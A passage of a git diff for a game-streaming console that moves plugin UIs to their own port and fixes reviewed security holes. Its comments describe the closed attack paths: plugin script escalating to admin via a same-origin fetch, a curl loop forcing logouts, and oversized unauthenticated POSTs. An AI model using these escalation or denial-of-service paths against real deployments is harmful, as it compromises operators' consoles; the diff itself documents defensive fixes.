Schema.Array(CatalogEntry), "sources": Schema.Array(SourceView) }) export type StatsSample = { readonly "bitrate_kbps": number, readonly "fec_recovered": number, readonly "fps": number, readonly "frames_dropped": number, readonly "mbps": number, readonly "packets_dropped": number, readonly "repeat_fps": number, readonly "send_dropped": number, readonly "session_id": number, readonly "stages": ReadonlyArray, readonly "t_ms": number } @@ -370,6 +370,8 @@ export type DeleteCustomGame404 = ApiError export const DeleteCustomGame404 = ApiError export type DeleteCustomGame500 = ApiError export const DeleteCustomGame500 = ApiError +export type ReconcileProviderEntriesParams = { readonly "store"?: string } +export const ReconcileProviderEntriesParams = Schema.Struct({ "store": Schema.optionalKey(Schema.String) }) export type ReconcileProviderEntriesRequestJson = ReadonlyArray export const ReconcileProviderEntriesRequestJson = Schema.Array(ProviderEntryInput) export type ReconcileProviderEntries200 = ReadonlyArray @@ -378,6 +380,8 @@ export type ReconcileProviderEntries400 = ApiError export const ReconcileProviderEntries400 = ApiError export type ReconcileProviderEntries401 = ApiError export const ReconcileProviderEntries401 = ApiError +export type ReconcileProviderEntries409 = ApiError +export const ReconcileProviderEntries409 = ApiError export type ReconcileProviderEntries500 = ApiError export const ReconcileProviderEntries500 = ApiError export type DeleteProviderEntries200 = ProviderRemoved @@ -987,11 +991,13 @@ export const make = ( })) ), "reconcileProviderEntries": (provider, options) => HttpClientRequest.put(`/api/v1/library/provider/${provider}`).pipe( + HttpClientRequest.setUrlParams({ "store": options.params?.["store"] as any }), HttpClientRequest.bodyJsonUnsafe(options.payload), withResponse(options.config)(HttpClientResponse.matchStatus({ "2xx": decodeSuccess(ReconcileProviderEntries200), "400": decodeError("ReconcileProviderEntries400", ReconcileProviderEntries400), "401": decodeError("ReconcileProviderEntries401", ReconcileProviderEntries401), + "409": decodeError("ReconcileProviderEntries409", ReconcileProviderEntries409), "500": decodeError("ReconcileProviderEntries500", ReconcileProviderEntries500), orElse: unexpectedStatus })) @@ -1543,11 +1549,12 @@ readonly "getHostInfo": (options: { readonly con readonly "getLibrary": (options: { readonly params?: typeof GetLibraryParams.Encoded | undefined; readonly config?: Config | undefined } | undefined) => Effect.Effect, HttpClientError.HttpClientError | SchemaError | PunktfunkError<"GetLibrary401", typeof GetLibrary401.Type>> /** * Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams -* the image bytes. For a Steam title, the host's own local Steam cache is tried first (exact — -* it's what the user's Steam client already shows for it), the public Steam CDN's flat URL -* convention as a fallback (newer titles' CDN assets can live at a per-asset-hash path the host -* can't predict, in which case this 404s and the client falls through to its next art candidate). -* Only Steam ids are backed today; any other store 404s. +* the image bytes. Any id stored in the host's catalog (manual entries, provider-synced entries, +* and a library plugin's claimed-store entries) serves its local art file. A Steam title falls back +* to the in-host scanner's resolver: the host's own local Steam cache first (exact — it's what the +* user's Steam client already shows for it), the public Steam CDN's flat URL convention second +* (newer titles' CDN assets can live at a per-asset-hash path the host can't predict, in which case +* this 404s and the client falls through to its next art candidate). */ readonly "getLibraryArt": (id: string, kind: string, options: { readonly config?: Config | undefined } | undefined) => Effect.Effect, HttpClientError.HttpClientError | SchemaError | PunktfunkError<"GetLibraryArt401", typeof GetLibraryArt401.Type> | PunktfunkError<"GetLibraryArt404", typeof GetLibraryArt404.Type>> /** @@ -1569,8 +1576,16 @@ readonly "deleteCustomGame": (id: string, option * surviving title's host id stable across reconciles, drops orphans, and never touches manual * entries or other providers'. An empty array removes everything the provider owns. Emits * `library.changed` with the provider as `source`. +* +* `?store=` additionally **claims** that store for the provider: its entries then surface with +* deterministic `:` ids and the store's own badge, instead of opaque +* `custom:` ones — which is what lets a library plugin reproduce the entries an in-host scanner +* used to produce, right down to the GameStream app ids and client-side art caches. One provider +* per store; a second claimant gets 409. While a claim is held the matching built-in scanner is +* suppressed, so the two never double-list. The claim is released by `DELETE`, not by an empty +* reconcile (a store can legitimately have zero installed titles). */ -readonly "reconcileProviderEntries": (provider: string, options: { readonly payload: typeof ReconcileProviderEntriesRequestJson.Encoded; readonly config?: Config | undefined }) => Effect.Effect, HttpClientError.HttpClientError | SchemaError | PunktfunkError<"ReconcileProviderEntries400", typeof ReconcileProviderEntries400.Type> | PunktfunkError<"ReconcileProviderEntries401", typeof ReconcileProviderEntries401.Type> | PunktfunkError<"ReconcileProviderEntries500", typeof ReconcileProviderEntries500.Type>> +readonly "reconcileProviderEntries": (provider: string, options: { readonly params?: typeof ReconcileProviderEntriesParams.Encoded | undefined; readonly payload: typeof ReconcileProviderEntriesRequestJson.Encoded; readonly config?: Config | undefined }) => Effect.Effect, HttpClientError.HttpClientError | SchemaError | PunktfunkError<"ReconcileProviderEntries400", typeof ReconcileProviderEntries400.Type> | PunktfunkError<"ReconcileProviderEntries401", typeof ReconcileProviderEntries401.Type> | PunktfunkError<"ReconcileProviderEntries409", typeof ReconcileProviderEntries409.Type> | PunktfunkError<"ReconcileProviderEntries500", typeof ReconcileProviderEntries500.Type>> /** * Deletes every entry owned by `{provider}` — the clean-uninstall path for a provider plugin * (RFC §8). Emits `library.changed` when anything was removed. diff --git a/sdk/src/ui.ts b/sdk/src/ui.ts index ac466a72..b71f9e77 100644 --- a/sdk/src/ui.ts +++ b/sdk/src/ui.ts @@ -44,6 +44,17 @@ export interface PluginUiOptions { version?: string; /** Optional lucide icon name for the nav entry (`[a-z0-9-]`, e.g. `"gamepad-2"`). */ icon?: string; + /** + * What KIND of plugin this is (`[a-z][a-z0-9-]{0,31}`). The console groups and filters on it — + * and notably keeps `"library"` plugins **out of the nav**, because a scanner's entry point is + * the Library section's Game sources surface, not a sidebar item of its own. Six installed + * scanners would otherwise flood the sidebar. + * + * `@punktfunk/plugin-kit`'s `defineLibraryPlugin` sets this for you. Set it by hand only if you + * are building a library plugin without the kit — and omit it if your plugin wants a full page + * despite also syncing a library (rom-manager does). + */ + category?: string; /** * Directory of the built SPA. Requests are served from here first (with an `index.html` SPA * fallback for navigations); a static miss falls through to [`fetch`]. Accepts a filesystem @@ -182,6 +193,9 @@ export const servePluginUi = async ( secret, ...(opts.icon !== undefined ? { icon: opts.icon } : {}), }, + // Sent through the UNTYPED `pf.request` below, so an older host simply ignores the unknown + // field rather than rejecting the registration — no runner flag, no version gate. + ...(opts.category !== undefined ? { category: opts.category } : {}), }; const register = () => pf.request("PUT", `/plugins/${opts.id}`, body); diff --git a/web/.env.example b/web/.env.example index 3eece804..c14fc007 100644 --- a/web/.env.example +++ b/web/.env.example @@ -44,3 +44,16 @@ PUNKTFUNK_UI_SECURE=1 # The Bun server binds these (standard Nitro env): # PORT=47992 # HOST=0.0.0.0 + +# The port plugin UIs are served on — their OWN ORIGIN, not the console's. Defaults to PORT + 1. +# +# This is a security boundary, not a layout choice. A plugin's interface is third-party code; served +# on the console's origin it ran as first-party script with the operator's session and could drive +# the whole admin API (security-review 2026-08-05 H-3). Same host, same certificate, different port +# means a different ORIGIN to the browser (so the same-origin policy separates them) while staying +# the same SITE (so the SameSite=Lax session cookie still reaches it and plugin pages keep working). +# +# The console refuses to serve plugin UIs on its own origin, so if this port cannot be bound, plugin +# UIs are DISABLED rather than silently moved back — the console says so on the plugin page. +# Open it in the firewall alongside PORT if you reach the console from other devices. +# PUNKTFUNK_UI_PLUGIN_PORT=47993 diff --git a/web/Dockerfile b/web/Dockerfile index eb58e2eb..772b4bb0 100644 --- a/web/Dockerfile +++ b/web/Dockerfile @@ -6,6 +6,12 @@ # # Runtime: PORT (default 47992) and PUNKTFUNK_MGMT_URL (upstream management API the Nitro # server proxies /api to; see web/server/routes). +# +# TWO ports, not one. The console also listens on PUNKTFUNK_UI_PLUGIN_PORT (default PORT + 1 = +# 47993) and serves plugin UIs from there — a different origin, so a plugin's own code cannot act +# as the logged-in operator on the console's origin. Publish BOTH (`-p 47992:47992 -p +# 47993:47993`): the browser loads the frame from the second port directly, so a container that +# only publishes 47992 serves a console whose every plugin interface is an empty panel. FROM oven/bun:1 AS build WORKDIR /repo/web @@ -25,5 +31,5 @@ WORKDIR /app COPY --from=build /repo/web/.output ./.output USER bun ENV PORT=47992 -EXPOSE 47992 +EXPOSE 47992 47993 CMD ["bun", "run", ".output/server/index.mjs"] diff --git a/web/messages/de.json b/web/messages/de.json index c1221d92..6e29a9e8 100644 --- a/web/messages/de.json +++ b/web/messages/de.json @@ -10,6 +10,11 @@ "nav_library": "Bibliothek", "nav_plugins": "Plugins", "plugin_offline_title": "Dieses Plugin läuft nicht", + "plugin_origin_untrusted_title": "Port dieses Plugins einmal bestätigen", + "plugin_origin_untrusted_hint": "Plugin-Oberflächen laufen auf einem eigenen Port, damit ein Plugin nicht in deinem Namen auf der Konsole handeln kann. Dein Browser spricht mit diesem Port noch nicht: entweder hat er das Zertifikat dieses Hosts dafür nicht bestätigt — Zertifikate gelten pro Port, und in einem Frame kann er nicht nachfragen — oder der Port ist in der Firewall des Hosts zu. Öffne ihn einmal in einem Tab: bei einer Zertifikatswarnung bestätigen und zurückkommen; kommt gar keine Verbindung zustande, öffne TCP 47993 auf dem Host.", + "plugin_origin_untrusted_open": "In neuem Tab öffnen", + "plugin_origin_unavailable_title": "Plugin-Oberflächen sind nicht verfügbar", + "plugin_origin_unavailable_hint": "Plugin-Oberflächen laufen auf einem eigenen Port, damit ein Plugin nicht in deinem Namen auf der Konsole handeln kann. Dieser Port konnte nicht geöffnet werden, deshalb bleiben sie deaktiviert. Sieh ins Konsolen-Log, setze dann PUNKTFUNK_UI_PLUGIN_PORT auf einen freien Port und starte neu.", "plugin_offline_hint": "Starte den Scripting-Runner und versuche es erneut.", "plugin_retry": "Erneut versuchen", "plugin_open_new_tab": "In neuem Tab öffnen", @@ -270,6 +275,8 @@ "library_field_logo": "Logo-Bild-URL", "library_field_command": "Startbefehl", "library_field_command_help": "Optional. Der Befehl, mit dem der Host diesen Titel startet.", + "library_field_password": "Konsolen-Passwort", + "library_field_password_help": "Ein Startbefehl läuft auf dem Host mit deinen Rechten. Bestätige zum Speichern dein Konsolen-Passwort.", "library_field_platform": "Plattform", "library_field_platform_help": "Das System, auf dem dieser Titel läuft, z. B. PS2, Xbox 360, SNES, PC.", "library_field_description": "Beschreibung", @@ -285,9 +292,25 @@ "library_field_players": "Spieler", "library_details_legend": "Details (optional)", "library_owned_by": "über {provider}", - "library_providers_title": "Von Plugins synchronisiert", - "library_providers_help": "Diese Einträge gehören einem Plugin und lassen sich deshalb nicht einzeln bearbeiten oder löschen — das Plugin synchronisiert sie neu. Ist das Plugin weg, entferne seine Einträge hier.", "library_provider_count": "{count} Einträge", + "library_launchers_title": "Launcher", + "library_empty_add_source": "Füge unten eine Spielquelle hinzu, damit deine installierten Spiele hier erscheinen.", + "library_add_source": "Quelle hinzufügen", + "library_source_detected": "Erkannt", + "library_source_running": "Läuft", + "library_source_stopped": "Gestoppt", + "library_source_settings": "Einstellungen", + "library_source_settings_title": "Einstellungen für {source}", + "library_source_settings_save": "Einstellungen speichern", + "library_source_settings_saved": "Einstellungen gespeichert.", + "library_source_settings_failed": "Einstellungen konnten nicht gespeichert werden: {issue}", + "library_source_settings_unreachable": "Die Einstellungen dieser Quelle sind nicht erreichbar: {issue}", + "library_source_settings_json_hint": "Die Einstellungen dieser Quelle passen in kein einfaches Formular — bearbeite sie als JSON. Sie werden vor dem Speichern geprüft.", + "library_migrate_title": "Spielquellen werden zu Plugins", + "library_migrate_help": "Jeder Launcher wird ein eigenes Add-on — du installierst nur die, die du nutzt, und jedes bekommt eigene Einstellungen. Installierst du eines, übernimmt es vom eingebauten Scanner; deine Spiele behalten ihre Kacheln. Wenn du nichts tust, ändert sich nichts.", + "library_migrate_install": "Quelle {source} installieren", + "library_source_installing": "{title} wird installiert…", + "library_source_install_failed": "Diese Quelle konnte nicht installiert werden.", "library_provider_filter": "Nur diese zeigen", "library_provider_show_all": "Alle zeigen", "library_provider_purge": "Einträge dieses Anbieters entfernen", @@ -578,5 +601,7 @@ "update_result_noop": "Deine Paketquelle hatte noch nichts Neueres — in ein paar Minuten erneut versuchen.", "update_opt_in": "Um Ein-Klick-Updates von hier zu aktivieren, einmal auf dem Host ausführen (danach ab- und wieder anmelden):", "update_result_failed": "Update auf {to} ist in Phase {stage} fehlgeschlagen.", - "update_result_log": "Installer-Log:" + "update_result_log": "Installer-Log:", + "library_field_role": "Dieser Eintrag öffnet einen Launcher", + "library_field_role_help": "Zeigt ihn in der Launcher-Reihe über deinen Spielen statt im Raster. Er startet und endet genauso wie sonst." } diff --git a/web/messages/en.json b/web/messages/en.json index d4e46593..3e5f70f2 100644 --- a/web/messages/en.json +++ b/web/messages/en.json @@ -54,6 +54,11 @@ "nav_more": "More", "nav_plugins": "Plugins", "plugin_offline_title": "This plugin isn't running", + "plugin_origin_untrusted_title": "Trust this plugin's port once", + "plugin_origin_untrusted_hint": "Plugin interfaces run on their own port so a plugin can't act as you on the console. Your browser won't talk to that port yet: either it hasn't accepted this host's certificate for it — certificates are trusted per port, and a frame can't ask you — or the port is closed on the host's firewall. Open it once in a tab: if you get a certificate warning, accept it and come back; if it never connects, open TCP 47993 on the host.", + "plugin_origin_untrusted_open": "Open in a new tab", + "plugin_origin_unavailable_title": "Plugin interfaces are unavailable", + "plugin_origin_unavailable_hint": "Plugin interfaces are served on their own port so a plugin can't act as you on the console. That port could not be opened, so they stay switched off. Check the console log, then set PUNKTFUNK_UI_PLUGIN_PORT to a free port and restart.", "plugin_offline_hint": "Start the scripting runner, then retry.", "plugin_retry": "Retry", "plugin_open_new_tab": "Open in new tab", @@ -270,6 +275,8 @@ "library_field_logo": "Logo art URL", "library_field_command": "Launch command", "library_field_command_help": "Optional. The command the host runs to launch this title.", + "library_field_password": "Console password", + "library_field_password_help": "A launch command runs on the host as you. Confirm your console password to save it.", "library_field_platform": "Platform", "library_field_platform_help": "The system this title runs on, e.g. PS2, Xbox 360, SNES, PC.", "library_field_description": "Description", @@ -285,9 +292,25 @@ "library_field_players": "Players", "library_details_legend": "Details (optional)", "library_owned_by": "via {provider}", - "library_providers_title": "Synced by plugins", - "library_providers_help": "These entries are owned by a plugin, so they can't be edited or removed one at a time — the plugin re-syncs them. If the plugin is gone, remove its entries here.", "library_provider_count": "{count} entries", + "library_launchers_title": "Launchers", + "library_empty_add_source": "Add a game source below to see your installed games here.", + "library_add_source": "Add a source", + "library_source_detected": "Detected", + "library_source_running": "Running", + "library_source_stopped": "Stopped", + "library_source_settings": "Settings", + "library_source_settings_title": "{source} settings", + "library_source_settings_save": "Save settings", + "library_source_settings_saved": "Settings saved.", + "library_source_settings_failed": "Could not save the settings: {issue}", + "library_source_settings_unreachable": "Could not reach this source's settings: {issue}", + "library_source_settings_json_hint": "This source's settings don't fit a simple form, so edit them as JSON. They're checked before saving.", + "library_migrate_title": "Game sources are moving to plugins", + "library_migrate_help": "Each launcher is becoming its own add-on, so you only install the ones you use — and each gets its own settings. Install one and it takes over from the built-in scanner; your games keep the same tiles. Nothing changes if you do nothing yet.", + "library_migrate_install": "Install the {source} source", + "library_source_installing": "Installing {title}…", + "library_source_install_failed": "Could not install this source.", "library_provider_filter": "Show only these", "library_provider_show_all": "Show all", "library_provider_purge": "Remove this provider's entries", @@ -578,5 +601,7 @@ "update_result_noop": "Your package source had nothing newer yet — try again in a few minutes.", "update_opt_in": "To enable one-click updates from here, run this once on the host (then log out and back in):", "update_result_failed": "Update to {to} failed during {stage}.", - "update_result_log": "Installer log:" + "update_result_log": "Installer log:", + "library_field_role": "This entry opens a launcher", + "library_field_role_help": "Shows it in the Launchers row above your games instead of in the grid. It still starts and stops the same way." } diff --git a/web/nitro-entry/bun-https.mjs b/web/nitro-entry/bun-https.mjs index 36db5299..b4384e3a 100644 --- a/web/nitro-entry/bun-https.mjs +++ b/web/nitro-entry/bun-https.mjs @@ -14,10 +14,13 @@ // (a local CA installed per device) fronted by a server that speaks them (e.g. Caddy) — deliberately // out of scope for a LAN console; TLS (no cleartext login/session) is the win. // +// TWO LISTENERS, on purpose — see `PLUGIN ORIGIN` below. +// // Env (set by the launchers / the systemd unit — see web.env.example): // PUNKTFUNK_UI_TLS_CERT / _KEY PEM file paths (the host's cert.pem / key.pem). BOTH set ⇒ HTTPS. // Unset ⇒ plain HTTP (local dev only). // PORT / HOST standard Nitro bind (3000 / 0.0.0.0). +// PUNKTFUNK_UI_PLUGIN_PORT the plugin-UI origin's port (default: console port + 1). import "#nitro-internal-pollyfills"; import wsAdapter from "crossws/adapters/bun"; import { useNitroApp } from "nitropack/runtime"; @@ -40,6 +43,37 @@ const ws = import.meta._websocket // Read back by `peerAddress()` in server/util/auth.ts — keep the two names in sync. const PEER_IP_HEADER = "x-pf-peer-ip"; +// PLUGIN ORIGIN — which listener a request arrived on, stamped the same unforgeable way. +// +// A plugin's UI used to be reverse-proxied onto the CONSOLE's own origin and framed with +// `allow-same-origin`, which means plugin JS ran as first-party code on the console origin: it +// could `fetch('/api/**', {credentials:'same-origin'})` and the BFF would attach the operator's +// ADMIN mgmt bearer. That reached everything `plugin_may_access` withholds — arm pairing, read the +// host PIN, approve a device, read `/hooks` — i.e. any plugin was one line of JS away from full +// operator admin (2026-08-05 review H-3). The "open in new tab" link was the same escalation with +// no iframe involved at all, so no sandbox attribute could have fixed it. +// +// The fix is to make the browser's own same-origin policy the boundary, by serving plugin UIs from +// a DIFFERENT ORIGIN: a second listener on its own port. +// +// different ORIGIN — scheme+host+PORT — so SOP applies: plugin JS cannot read the console's DOM, +// and its cross-origin `fetch` of `/api/**` is unreadable (we emit no CORS) and +// unable to mutate (the Sec-Fetch-Site guard sees `same-site`, not +// `same-origin`). +// same SITE — because a cookie's scope ignores the port, and SameSite is computed on the +// site, not the origin. So the `SameSite=Lax` session cookie still flows to the +// plugin origin, and plugin pages keep loading their assets while logged in. +// +// That combination is why this works and why the obvious alternative does not: dropping +// `allow-same-origin` gives the frame an OPAQUE origin, which makes its subresource requests +// cross-site, which stops the Lax cookie, which 302s every plugin asset to /login — a blank frame. +// +// The console listener refuses `/plugin-ui/**` and the plugin listener refuses everything else +// (server/middleware/auth.ts). Both halves matter: without the first the old path still works; +// without the second, plugin JS could call `/api/**` on its OWN origin and get the admin bearer +// attached right back. +const LISTENER_HEADER = "x-pf-listener"; + // TLS from the host's identity cert (file PATHS → Bun.file, not PEM-in-env). Absent ⇒ plain HTTP. const certPath = process.env.PUNKTFUNK_UI_TLS_CERT; const keyPath = process.env.PUNKTFUNK_UI_TLS_KEY; @@ -76,13 +110,23 @@ if (!tls && secureFlag) { process.exit(1); } -const server = Bun.serve({ - port: process.env.NITRO_PORT || process.env.PORT || 3000, +/** The shared `Bun.serve` options both listeners use — only the port and the stamped lane differ. */ +const listenerOptions = (lane) => ({ host: process.env.NITRO_HOST || process.env.HOST, // Bun defaults this to 10 s, which is SHORTER than the host's 15 s SSE keep-alive comment — so a // proxied `/api/v1/events` stream (or any other quiet long-lived response) gets cut by us and // reconnects on a loop. 120 s is comfortably above any keep-alive we forward; still overridable. idleTimeout: Number.parseInt(process.env.NITRO_BUN_IDLE_TIMEOUT, 10) || 120, + // Cap the request body an UNAUTHENTICATED peer can make us hold in memory. + // + // `fetch` below buffers the whole body with `await req.arrayBuffer()` before Nitro — and + // therefore before the auth gate — has seen the request, so Bun's 128 MB default was the only + // bound on what a LAN peer could push into console RSS by POSTing to /login (2026-08-05 review + // L-10). Nothing the console legitimately accepts is remotely this large: the biggest real body + // is a hooks/library JSON edit, kilobytes. 4 MiB leaves several orders of headroom and still + // makes the memory cost of an unauthenticated request negligible. + maxRequestBodySize: + Number.parseInt(process.env.NITRO_BUN_MAX_BODY_BYTES, 10) || 4 * 1024 * 1024, // `tls: undefined` ⇒ plain HTTP (dev); otherwise HTTPS over HTTP/1.1. tls, websocket: import.meta._websocket ? ws.websocket : undefined, @@ -98,8 +142,10 @@ const server = Bun.serve({ // Strip any client-supplied value BEFORE stamping the real one (see PEER_IP_HEADER). const headers = new Headers(req.headers); headers.delete(PEER_IP_HEADER); + headers.delete(LISTENER_HEADER); const peer = server.requestIP(req)?.address; if (peer) headers.set(PEER_IP_HEADER, peer); + headers.set(LISTENER_HEADER, lane); return nitroApp.localFetch(url.pathname + url.search, { host: url.hostname, protocol: url.protocol, @@ -110,7 +156,45 @@ const server = Bun.serve({ }); }, }); + +const consolePort = Number(process.env.NITRO_PORT || process.env.PORT || 3000); +const server = Bun.serve({ ...listenerOptions("console"), port: consolePort }); console.log(`punktfunk web console listening on ${server.url} (tls=${!!tls})`); + +// The plugin-UI origin. Its own port, everything else identical. +// +// A bind failure does NOT fall back to serving plugin UIs on the console origin — that is the hole +// this exists to close, and a security boundary that disappears when a port is busy is not one. It +// degrades to "plugin UIs unavailable": the console reads the state below and renders an +// explanation instead of a frame, and everything else about the console keeps working. +const pluginPort = Number(process.env.PUNKTFUNK_UI_PLUGIN_PORT || consolePort + 1); +let pluginServer; +try { + pluginServer = Bun.serve({ ...listenerOptions("plugin"), port: pluginPort }); + // Read back by the app (server/util/pluginOrigin.ts) — same process, so process.env is the + // simplest channel, and it is only ever SET here, never trusted from the environment we started + // with (a stale inherited value would otherwise advertise a port nothing is listening on). + process.env.PUNKTFUNK_UI_PLUGIN_PORT_ACTIVE = String(pluginPort); + process.env.PUNKTFUNK_UI_CONSOLE_PORT_ACTIVE = String(consolePort); + // …and the SCHEME, which the app cannot recover from a request: `localFetch` synthesises one with + // no TLS socket, so h3 reports `http:` on an HTTPS listener. `frame-ancestors` needs the scheme + // the operator's address bar actually shows, or the browser refuses to frame the plugin at all + // (see consoleOriginScheme() in server/util/pluginOrigin.ts). Both listeners share this `tls` + // object, so one stamp is correct for both. + process.env.PUNKTFUNK_UI_SCHEME_ACTIVE = tls ? "https" : "http"; + console.log( + `punktfunk plugin-UI origin listening on ${pluginServer.url} (tls=${!!tls})`, + ); +} catch (e) { + delete process.env.PUNKTFUNK_UI_PLUGIN_PORT_ACTIVE; + console.error( + `punktfunk web console: could not bind the plugin-UI origin on port ${pluginPort} ` + + `(${e?.message ?? e}). Plugin UIs are DISABLED until this is resolved — they are ` + + "deliberately not served on the console's own origin, because a plugin sharing that " + + "origin can act as the logged-in operator. Set PUNKTFUNK_UI_PLUGIN_PORT to a free port.", + ); +} + if (import.meta._tasks) { startScheduleRunner(); } diff --git a/web/package.json b/web/package.json index 9100dd37..9d18da1b 100644 --- a/web/package.json +++ b/web/package.json @@ -15,6 +15,7 @@ "start": "bun run .output/server/index.mjs", "api:gen": "orval --config orval.config.ts", "lint": "tsc --noEmit", + "test": "bun test server/", "storybook": "storybook dev -p 6006", "build-storybook": "storybook build", "screenshots": "node tools/screenshots.mjs", diff --git a/web/server/middleware/auth.ts b/web/server/middleware/auth.ts index c7cac013..1b790010 100644 --- a/web/server/middleware/auth.ts +++ b/web/server/middleware/auth.ts @@ -6,6 +6,7 @@ import { defineEventHandler, getRequestHeader, getRequestURL, + type H3Event, sendRedirect, setResponseHeader, setResponseStatus, @@ -18,25 +19,62 @@ import { sessionEpoch, uiPassword, } from "../util/auth"; +import { + consoleOriginPort, + consoleOriginScheme, + frameAncestorSource, + isPluginUiPath, + listenerOf, +} from "../util/pluginOrigin"; export default defineEventHandler(async (event) => { const { pathname } = getRequestURL(event); + const listener = listenerOf(event); + const isPluginPath = isPluginUiPath(pathname); + + // ── the origin split (2026-08-05 review H-3) ──────────────────────────────────────────────── + // + // Plugin UIs live on their own origin (see nitro-entry/bun-https.mjs). Enforcing that is two + // refusals, and BOTH are load-bearing: + // + // - the console origin must not serve `/plugin-ui/**`, or the old same-origin path still works + // and nothing has changed; + // - the plugin origin must not serve anything ELSE — above all not `/api/**`. Plugin JS is + // same-origin with the plugin listener, so if that listener proxied `/api/**` the BFF would + // attach the operator's admin bearer to the plugin's own fetch and hand back exactly the + // escalation we just moved. + // + // Unconditional, not conditional on the plugin listener having bound: if it did not, plugin UIs + // are disabled and refusing here is the correct answer, not a reason to fall back. (`vite dev` + // serves one origin, but its own middleware answers `/plugin-ui` before Nitro is reached, so + // this never fires there.) + if (listener === "console" && isPluginPath) { + setResponseStatus(event, 404); + return { error: "plugin UIs are served from their own origin" }; + } + if (listener === "plugin" && !isPluginPath) { + setResponseStatus(event, 404); + return { error: "this origin serves plugin UIs only" }; + } // Baseline response headers for everything this server emits. Deliberately modest: a plugin's - // own UI is proxied onto THIS origin (/plugin-ui/**), so a script-src policy tight enough to be - // worth having would break third-party plugin pages we don't control. What is safe to assert - // unconditionally still closes the cheap holes: + // own UI is third-party code we don't control, so a script-src policy tight enough to be worth + // having would break the pages it serves. What is safe to assert unconditionally still closes + // the cheap holes: // nosniff — a plugin serving text/plain that "looks like" HTML can't be sniffed into it - // frame-ancestors— only our own pages may frame the console (the plugin iframes are same-origin) + // frame-ancestors— who may frame this; see below, it differs per origin // object-src — no Flash/applet embedding anywhere // base-uri — a stray can't repoint every relative URL on the page // Referrer-Policy— never leak a console path (which can carry ids) to an external homepage link setResponseHeader(event, "X-Content-Type-Options", "nosniff"); setResponseHeader(event, "Referrer-Policy", "no-referrer"); + // `frame-ancestors 'self'` is right for the console and WRONG for the plugin origin: 'self' + // there means the plugin origin, and the console — now a different origin — is precisely who + // needs to frame it. So the plugin origin names the console explicitly, and nobody else. setResponseHeader( event, "Content-Security-Policy", - "frame-ancestors 'self'; object-src 'none'; base-uri 'self'", + `frame-ancestors ${listener === "plugin" ? consoleFrameAncestor(event) : "'self'"}; object-src 'none'; base-uri 'self'`, ); // Same-origin check for every MUTATING request (defense in depth beyond SameSite=Lax, @@ -74,6 +112,13 @@ export default defineEventHandler(async (event) => { setResponseStatus(event, 401); return { error: "unauthorized" }; } + // The plugin origin has no /login to bounce to — it serves plugin UIs and nothing else, so a + // redirect there would land on this middleware's own 404. Answer plainly instead; the console + // probes plugin liveness server-side and renders the session-expired state itself. + if (listener === "plugin") { + setResponseStatus(event, 401); + return { error: "unauthorized" }; + } // Page navigation → bounce to the login screen, remembering where they were headed. return sendRedirect( event, @@ -81,3 +126,33 @@ export default defineEventHandler(async (event) => { 302, ); }); + +/** + * The console origin, as a `frame-ancestors` source, derived from the request the PLUGIN origin is + * answering: the hostname is whatever name the operator actually browsed to (an IP, an mDNS name, a + * hostname — so the policy matches their address bar), plus the console's port and scheme. + * + * ⚠ The scheme must NOT come from the request. `getRequestURL` reports `http:` on an HTTPS listener + * here — Nitro hands the app a synthetic request with no TLS socket — so this named + * `http://host:47992` as the only permitted ancestor of a console the operator was reading over + * HTTPS, and every plugin UI came up as an empty panel with `ERR_BLOCKED_BY_RESPONSE`. It is taken + * from the listener's own TLS state instead (`consoleOriginScheme`), with `x-forwarded-proto` + * winning when something in front terminated TLS for us — that is the one case where the browser's + * scheme differs from this process's. + * + * Falls back to `'none'` rather than `'self'` or `*` when the console port is unknown: an unframable + * plugin page is a visible, harmless failure, and the alternatives are a policy that either does + * nothing or lets any page on the LAN frame a logged-in plugin UI. + */ +function consoleFrameAncestor(event: H3Event): string { + const port = consoleOriginPort(); + if (!port) return "'none'"; + const url = getRequestURL(event); + return frameAncestorSource({ + forwardedProto: getRequestHeader(event, "x-forwarded-proto"), + listenerScheme: consoleOriginScheme(), + requestScheme: url.protocol, + hostname: url.hostname, + port, + }); +} diff --git a/web/server/routes/_auth/logout.post.ts b/web/server/routes/_auth/logout.post.ts index 54dc4a8e..2ce5b0f3 100644 --- a/web/server/routes/_auth/logout.post.ts +++ b/web/server/routes/_auth/logout.post.ts @@ -4,16 +4,29 @@ // stayed valid for its whole 7-day TTL and "log out" logged nothing out. Bumping the epoch means // the gate rejects every cookie sealed before now. Single-user console, so "log out" and "sign out // everywhere" are the same action — which is the safer of the two to make the default. +// +// The global revocation is the part that needs authorizing. This route lives under `/_auth/`, which +// `isPublicPath` treats as public (the login form posts here), and the CSRF guard only fires when a +// `Sec-Fetch-Site` header is actually present — so an unauthenticated LAN peer with `curl` could +// bump the epoch on a loop and keep the operator permanently signed out of their own console +// (2026-08-05 review L-11). Revoking is now gated on holding a currently-valid session; clearing +// the CALLER's own cookie stays unconditional, because that affects nobody else and keeps a stale +// session's "log out" click behaving exactly as the user expects. import { defineEventHandler, useSession } from "h3"; import { revokeAllSessions, type SessionData, sessionConfig, + sessionEpoch, } from "../../util/auth"; export default defineEventHandler(async (event) => { const session = await useSession(event, sessionConfig()); + // Read the state BEFORE clearing — `clear()` wipes what we need to authorize the revocation. + const authenticated = + session.data.authenticated === true && + session.data.epoch === sessionEpoch(); await session.clear(); - revokeAllSessions(); + if (authenticated) revokeAllSessions(); return { ok: true }; }); diff --git a/web/server/routes/_auth/ui-config.get.ts b/web/server/routes/_auth/ui-config.get.ts new file mode 100644 index 00000000..11487f71 --- /dev/null +++ b/web/server/routes/_auth/ui-config.get.ts @@ -0,0 +1,32 @@ +// GET /_auth/ui-config — the handful of deployment facts the console UI cannot work out for itself. +// +// Today that is exactly one: where plugin UIs live. They are served from a different ORIGIN than +// the console (2026-08-05 review H-3), so the browser needs the port to build the iframe URL — and +// it must come from the server, because only the server knows whether that listener actually bound. +// +// Public (the `/_auth/` prefix is), which is fine: a port number is discoverable by connecting to +// it, and nothing here is a secret. Deliberately NOT an inference the client makes for itself +// (`location.port + 1` would silently point at whatever else is on that port). +import { defineEventHandler } from "h3"; +import { pluginOriginPort } from "../../util/pluginOrigin"; + +export interface UiConfig { + /** + * How plugin UIs are reachable: + * - `origin` — from their own origin on `pluginPort` (the deployed, secure arrangement) + * - `same-origin` — `vite dev` only: one listener, and its own middleware serves `/plugin-ui` + * - `unavailable` — the plugin listener could not bind. Plugin UIs are OFF; the console must + * not fall back to its own origin, which is the hole this all exists to close. + */ + pluginUi: "origin" | "same-origin" | "unavailable"; + pluginPort: number | null; +} + +export default defineEventHandler((): UiConfig => { + const port = pluginOriginPort(); + if (port) return { pluginUi: 